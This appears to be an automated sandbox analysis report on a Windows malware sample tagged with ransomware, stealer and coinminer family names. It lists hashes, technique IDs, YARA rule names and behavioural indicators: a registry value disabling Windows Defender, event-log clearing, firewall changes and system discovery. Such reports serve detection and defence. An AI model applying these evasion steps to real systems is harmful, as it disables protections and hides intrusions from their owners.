73b90da4968fc82a5cdfc6c05ddb1d3a4fdd20d4a277ac6f67071aaf2f62b7b6

Analysis

max time kernel
151s
max time network
120s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/07/2026, 08:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
Size 77.9MB
Sample260707-katn2adx2y
SHA256 73b90da4968fc82a5cdfc6c05ddb1d3a4fdd20d4a277ac6f67071aaf2f62b7b6
MD5 26a352eb18f2092a621f89092262f122
SHA1 abc928aaba88d99c3ac5a3aad131365786ecc14e
SHA512 611e7b61617e60f6f810ac8643850293a61e581bff1947290bb4a17130a65abfefcd60decc442e55ae1c9757b1d9846bbf7961433ac777c121951488a807a0a1
SSDEEP 786432:oD42EBRrWflljmfOPodvjP5wLL7hA3iMtdiznn+xI/kMaz7YsED60+VimCgSl/6p:IodvjSLL7hKmn2Sl/6ArK
TLSH
T154088C47B3A510D5D4BBD238CA4B8617F7B27C51032197CB1168ABA92F73BE12A3E744
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Clears Windows event logs 1 TTPs 5 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
5456	wevtutil.exe
2628	wevtutil.exe
4220	wevtutil.exe
5096	wevtutil.exe
3720	wevtutil.exe

Detects executables containing commands for clearing Windows Event Logs 3 IoCs

resource	yara_rule
behavioral2/memory/2044-0-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_ClearWinLogs
behavioral2/files/0x000600000001b814-67.dat	INDICATOR_SUSPICIOUS_ClearWinLogs
behavioral2/memory/4212-66-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_ClearWinLogs

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 3 IoCs

resource	yara_rule
behavioral2/memory/2044-0-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/files/0x000600000001b814-67.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/4212-66-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Detects executables referencing many IR and analysis tools 3 IoCs

resource	yara_rule
behavioral2/memory/2044-0-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/files/0x000600000001b814-67.dat	INDICATOR_SUSPICIOUS_References_SecTools
behavioral2/memory/4212-66-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_References_SecTools

Detects executables referencing virtualization MAC addresses 3 IoCs

resource	yara_rule
behavioral2/memory/2044-0-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/files/0x000600000001b814-67.dat	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb
behavioral2/memory/4212-66-0x00007FF64CA20000-0x00007FF65183A000-memory.dmp	INDICATOR_SUSPICIOUS_VM_Evasion_MACAddrComb

Modifies Windows Firewall 2 TTPs 6 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2052	netsh.exe
3548	netsh.exe
1724	netsh.exe
5496	netsh.exe
1724	netsh.exe
3024	netsh.exe

Loads dropped DLL 29 IoCs

pid	Process
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3580	icacls.exe
4476	icacls.exe
2892	icacls.exe

Enumerates processes with tasklist 1 TTPs 35 IoCs

discovery

Process Discovery

T1057

pid	Process
5092	tasklist.exe
5496	tasklist.exe
3016	tasklist.exe
2516	tasklist.exe
1988	tasklist.exe
2388	tasklist.exe
3408	tasklist.exe
4872	tasklist.exe
3192	tasklist.exe
5324	tasklist.exe
3648	tasklist.exe
5964	tasklist.exe
3636	tasklist.exe
1160	tasklist.exe
3708	tasklist.exe
3192	tasklist.exe
3908	tasklist.exe
3152	tasklist.exe
1568	tasklist.exe
1728	tasklist.exe
2800	tasklist.exe
4124	tasklist.exe
1620	tasklist.exe
5524	tasklist.exe
3032	tasklist.exe
1488	tasklist.exe
1520	tasklist.exe
3868	tasklist.exe
4544	tasklist.exe
4952	tasklist.exe
2536	tasklist.exe
6108	tasklist.exe
5728	tasklist.exe
824	tasklist.exe
1668	tasklist.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 18 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Gathers network information 2 TTPs 28 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5020	ipconfig.exe
4820	ipconfig.exe
1136	ipconfig.exe
5416	ipconfig.exe
1476	ipconfig.exe
2132	ipconfig.exe
5452	ipconfig.exe
2516	ipconfig.exe
1472	ipconfig.exe
2440	ipconfig.exe
1352	ipconfig.exe
564	ipconfig.exe
2104	ipconfig.exe
5992	ipconfig.exe
3452	ipconfig.exe
4140	ipconfig.exe
2412	ipconfig.exe
5152	ipconfig.exe
904	ipconfig.exe
1404	ipconfig.exe
3044	ipconfig.exe
3004	ipconfig.exe
5456	ipconfig.exe
3364	ipconfig.exe
4544	ipconfig.exe
5212	ipconfig.exe
2492	ipconfig.exe
6128	ipconfig.exe

Gathers system information 1 TTPs 5 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5904	systeminfo.exe
2500	systeminfo.exe
1380	systeminfo.exe
6068	systeminfo.exe
4948	systeminfo.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1760	WMIC.exe
1760	WMIC.exe
1760	WMIC.exe
1760	WMIC.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe
4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	tasklist.exe
Token: SeDebugPrivilege	2536	tasklist.exe
Token: SeDebugPrivilege	3648	tasklist.exe
Token: SeDebugPrivilege	1568	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1760	WMIC.exe
Token: SeSecurityPrivilege	1760	WMIC.exe
Token: SeTakeOwnershipPrivilege	1760	WMIC.exe
Token: SeLoadDriverPrivilege	1760	WMIC.exe
Token: SeSystemProfilePrivilege	1760	WMIC.exe
Token: SeSystemtimePrivilege	1760	WMIC.exe
Token: SeProfSingleProcessPrivilege	1760	WMIC.exe
Token: SeIncBasePriorityPrivilege	1760	WMIC.exe
Token: SeCreatePagefilePrivilege	1760	WMIC.exe
Token: SeBackupPrivilege	1760	WMIC.exe
Token: SeRestorePrivilege	1760	WMIC.exe
Token: SeShutdownPrivilege	1760	WMIC.exe
Token: SeDebugPrivilege	1760	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1760	WMIC.exe
Token: SeRemoteShutdownPrivilege	1760	WMIC.exe
Token: SeUndockPrivilege	1760	WMIC.exe
Token: SeManageVolumePrivilege	1760	WMIC.exe
Token: 33	1760	WMIC.exe
Token: 34	1760	WMIC.exe
Token: 35	1760	WMIC.exe
Token: 36	1760	WMIC.exe
Token: SeSecurityPrivilege	4688	auditpol.exe
Token: SeSecurityPrivilege	3920	wevtutil.exe
Token: SeBackupPrivilege	3920	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	1760	WMIC.exe
Token: SeSecurityPrivilege	1760	WMIC.exe
Token: SeTakeOwnershipPrivilege	1760	WMIC.exe
Token: SeLoadDriverPrivilege	1760	WMIC.exe
Token: SeSystemProfilePrivilege	1760	WMIC.exe
Token: SeSystemtimePrivilege	1760	WMIC.exe
Token: SeProfSingleProcessPrivilege	1760	WMIC.exe
Token: SeIncBasePriorityPrivilege	1760	WMIC.exe
Token: SeCreatePagefilePrivilege	1760	WMIC.exe
Token: SeBackupPrivilege	1760	WMIC.exe
Token: SeRestorePrivilege	1760	WMIC.exe
Token: SeShutdownPrivilege	1760	WMIC.exe
Token: SeDebugPrivilege	1760	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1760	WMIC.exe
Token: SeRemoteShutdownPrivilege	1760	WMIC.exe
Token: SeUndockPrivilege	1760	WMIC.exe
Token: SeManageVolumePrivilege	1760	WMIC.exe
Token: 33	1760	WMIC.exe
Token: 34	1760	WMIC.exe
Token: 35	1760	WMIC.exe
Token: 36	1760	WMIC.exe
Token: SeSecurityPrivilege	5540	auditpol.exe
Token: SeSecurityPrivilege	4732	auditpol.exe
Token: SeSecurityPrivilege	5972	auditpol.exe
Token: SeSecurityPrivilege	5456	wevtutil.exe
Token: SeBackupPrivilege	5456	wevtutil.exe
Token: SeSecurityPrivilege	2628	wevtutil.exe
Token: SeBackupPrivilege	2628	wevtutil.exe
Token: SeSecurityPrivilege	4220	wevtutil.exe
Token: SeBackupPrivilege	4220	wevtutil.exe
Token: SeSecurityPrivilege	5096	wevtutil.exe
Token: SeBackupPrivilege	5096	wevtutil.exe
Token: SeSecurityPrivilege	3720	wevtutil.exe
Token: SeBackupPrivilege	3720	wevtutil.exe
Token: SeDebugPrivilege	3708	tasklist.exe
Token: SeDebugPrivilege	2516	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 4212	2044	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	87
PID 4212 wrote to memory of 3580	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	88
PID 4212 wrote to memory of 2892	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	90
PID 4212 wrote to memory of 4476	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	92
PID 4212 wrote to memory of 1352	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	94
PID 4212 wrote to memory of 5904	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	96
PID 4212 wrote to memory of 2500	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	99
PID 4212 wrote to memory of 1520	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	101
PID 4212 wrote to memory of 2536	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	103
PID 4212 wrote to memory of 2516	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	105
PID 4212 wrote to memory of 3648	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	107
PID 4212 wrote to memory of 1568	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	109
PID 4212 wrote to memory of 3364	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	111
PID 4212 wrote to memory of 5052	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	113
PID 5052 wrote to memory of 3820	5052	net.exe	115
PID 4212 wrote to memory of 4764	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	116
PID 4212 wrote to memory of 3432	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	118
PID 3432 wrote to memory of 3040	3432	net.exe	120
PID 4212 wrote to memory of 1724	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	121
PID 4212 wrote to memory of 1744	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	123
PID 1744 wrote to memory of 4384	1744	net.exe	125
PID 4212 wrote to memory of 2592	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	126
PID 4212 wrote to memory of 6104	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	128
PID 6104 wrote to memory of 2028	6104	net.exe	130
PID 4212 wrote to memory of 2796	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	131
PID 2796 wrote to memory of 2072	2796	net.exe	133
PID 4212 wrote to memory of 2732	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	134
PID 2732 wrote to memory of 5488	2732	net.exe	136
PID 4212 wrote to memory of 2804	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	137
PID 2804 wrote to memory of 5536	2804	net.exe	139
PID 4212 wrote to memory of 5364	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	140
PID 5364 wrote to memory of 3452	5364	net.exe	142
PID 4212 wrote to memory of 5724	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	143
PID 5724 wrote to memory of 4952	5724	cmd.exe	145
PID 4212 wrote to memory of 3840	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	146
PID 3840 wrote to memory of 3092	3840	cmd.exe	148
PID 4212 wrote to memory of 1288	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	149
PID 1288 wrote to memory of 1708	1288	cmd.exe	151
PID 4212 wrote to memory of 4632	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	152
PID 4632 wrote to memory of 1796	4632	cmd.exe	154
PID 4212 wrote to memory of 4348	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	155
PID 4348 wrote to memory of 1580	4348	cmd.exe	157
PID 4212 wrote to memory of 4848	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	158
PID 4848 wrote to memory of 796	4848	cmd.exe	160
PID 4212 wrote to memory of 3392	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	161
PID 4212 wrote to memory of 556	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	162
PID 4212 wrote to memory of 5896	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	163
PID 3392 wrote to memory of 1760	3392	cmd.exe	167
PID 556 wrote to memory of 428	556	cmd.exe	168
PID 5896 wrote to memory of 4688	5896	cmd.exe	169
PID 428 wrote to memory of 3920	428	cmd.exe	170
PID 4212 wrote to memory of 1676	4212	2026-07-07_26a352eb18f2092a621f89092262f122_akira_blankgrabber_cobalt-strike_coinminer_glassworm_hij.exe	171
